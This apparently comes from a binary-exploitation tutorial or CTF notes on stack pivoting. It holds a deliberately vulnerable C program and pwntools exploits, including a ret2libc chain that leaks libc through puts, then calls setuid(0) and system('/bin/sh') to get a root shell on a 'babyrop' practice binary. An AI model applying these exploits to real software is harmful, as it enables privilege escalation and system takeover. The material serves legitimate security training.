Copy // gcc source.c -o vuln -no-pie
#include <stdio.h>
void winner(int a, int b) {
if(a == 0xdeadbeef && b == 0xdeadc0de) {
puts("Great job!");
return;
}
puts("Whelp, almost...?");
}
void vuln() {
char buffer[0x60];
printf("Try pivoting to: %p\n", buffer);
fgets(buffer, 0x80, stdin);
}
int main() {
vuln();
return 0;
}
Copy __ start of buffer, rsp
| ROP CHAIN |
| AAAAs | - padding to reach RIP
| _________ |
| rsp gadget|
| Buffer addr|
Copy from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
Copy void main(voids)
{
puts("###");
printf("### Welcome to %s!\n",(char *)*param_2);
puts("###");
putchar(10);
FUN_004010e0(stdin,(char *)0x0,2,0);
FUN_004010e0(stdout,(char *)0x0,2,1);
challenge();
puts("### Goodbye!");
return 0;
}
void challenge(void)
{
#Data points to 0x4040e0
read(0,data + 65536,4096);
memcpy(&stack0x00000000,data + 65536,0x18);
puts("Leaving!");
return;
}
Copy #!/usr/bin/env python3
from pwn import *
import time
exe = ELF("./redacted")
libc = ELF("./libc.so.6")
context.binary = exe
pop_rdi = 0x401663
ret = 0x40101a
def leak():
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
challenge = exe.symbols['challenge']
payload = b''
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(ret)
payload += p64(challenge)
return payload
def main():
#Leaking Libc base address via puts()
address_of_bss = 0x414080 + 24
leave_ret = 0x401545
pop_rbp = 0x4011bd
payload = b''
payload += p64(pop_rbp)
payload += p64(address_of_bss)
payload += p64(leave_ret)
payload += leak()
p = process('./babyrop_level9.1_patched')
p.clean() # Clean up any previous input/output
p.send(payload)
p.recvuntil('Leaving!')
p.recvline()
#Processing puts() leak to get libc base address
leaked_puts = p.recvline()
leaked_puts = u64(leaked_puts[:-1].ljust(8, b'\x00'))
libc.address = leaked_puts - libc.sym['puts']
setuid_addr = libc.sym['setuid']
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.info(f"Base Libc address: {hex(libc.address)}")
log.info(f"setuid address: {hex(setuid_addr)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
# Attach debugger before sending payload
# gdb.attach(p)
print("Debugger attached. Sending payload...")
# Writing Ret2LIBC payload ahead of my first leak payload
address_of_bss = 0x414080 + 120
print(hex(address_of_bss))
final_rop = p64(pop_rbp)
final_rop += p64(address_of_bss)
final_rop += p64(leave_ret)
# Accounting for the first 3 gadgets
final_rop += b'A' * (104)
final_rop += p64(pop_rdi)
final_rop += p64(0)
final_rop += p64(setuid_addr)
final_rop += p64(ret)
final_rop += p64(pop_rdi)
final_rop += p64(bin_sh_addr)
final_rop += p64(system_addr)
p.clean()
p.send(final_rop)
p.recvuntil('Leaving!')
# Interact with the process
p.interactive()
if __name__ == "__main__":
main()